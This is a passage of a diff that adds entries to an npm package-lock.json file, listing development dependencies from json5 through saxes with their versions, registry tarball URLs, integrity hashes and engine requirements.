"sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true + }, + "node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "dev": true, + "bin": { + "lz-string": "bin/bin.js" + } + }, + "node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/make-dir/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/make-dir/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/makeerror": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "dev": true, + "dependencies": { + "tmpl": "1.0.5" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "dev": true + }, + "node_modules/node-releases": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.14.tgz", + "integrity": "sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw==", + "dev": true + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nwsapi": { + "version": "2.2.7", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz", + "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==", + "dev": true + }, + "node_modules/object-inspect": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz", + "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.5.tgz", + "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-locate/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", + "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "dev": true, + "dependencies": { + "entities": "^4.4.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", + "dev": true + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "dev": true, + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", + "dev": true + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/pure-rand": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.0.4.tgz", + "integrity": "sha512-LA0Y9kxMYv47GIPJy6MI84fqTd2HmYZI83W/kM/SkKfDlajnZYfmXFTxkbY+xSBPkLJxltMa9hIkmdc29eguMA==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ] + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "dev": true + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "dev": true + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.1.tgz", + "integrity": "sha512-X007RyZLsCJVVrjgEFVpLUTZwyOZk3oiL75ZcuYjlIWd6rNJtOjkBwQc5AsRrpbKVkxN6sklw/k/9m2jJYOf8Q==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.14.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==", + "dev": true + }, + "node_modules/regenerator-transform": { + "version": "0.15.2", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.2.tgz", + "integrity": "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.1.tgz", + "integrity": "sha512-sy6TXMN+hnP/wMy+ISxg3krXx7BAtWVO4UouuCN/ziM9UEne0euamVNafDfvC83bRNr95y0V5iijeDQFUNpvrg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "set-function-name": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexpu-core": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", + "dev": true, + "dependencies": { + "@babel/regjsgen": "^0.8.0", + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.1.0", + "regjsparser": "^0.9.1", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsparser": { + "version": "0.9.1", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz", + "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==", + "dev": true, + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true + }, + "node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dev": true, + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dev": true, + "dependencies": { + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve.exports": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-2.0.2.tgz", + "integrity": "sha512-X2UW6Nw3n/aMgDVy+0rSqgHlv39WZAlZrXCdnbyEiKm17DSqHX4MmQMaST3FbeWR5FTuRcUwYAziZajji0Y7mg==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "node_modules/saxes": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", + "integrity": 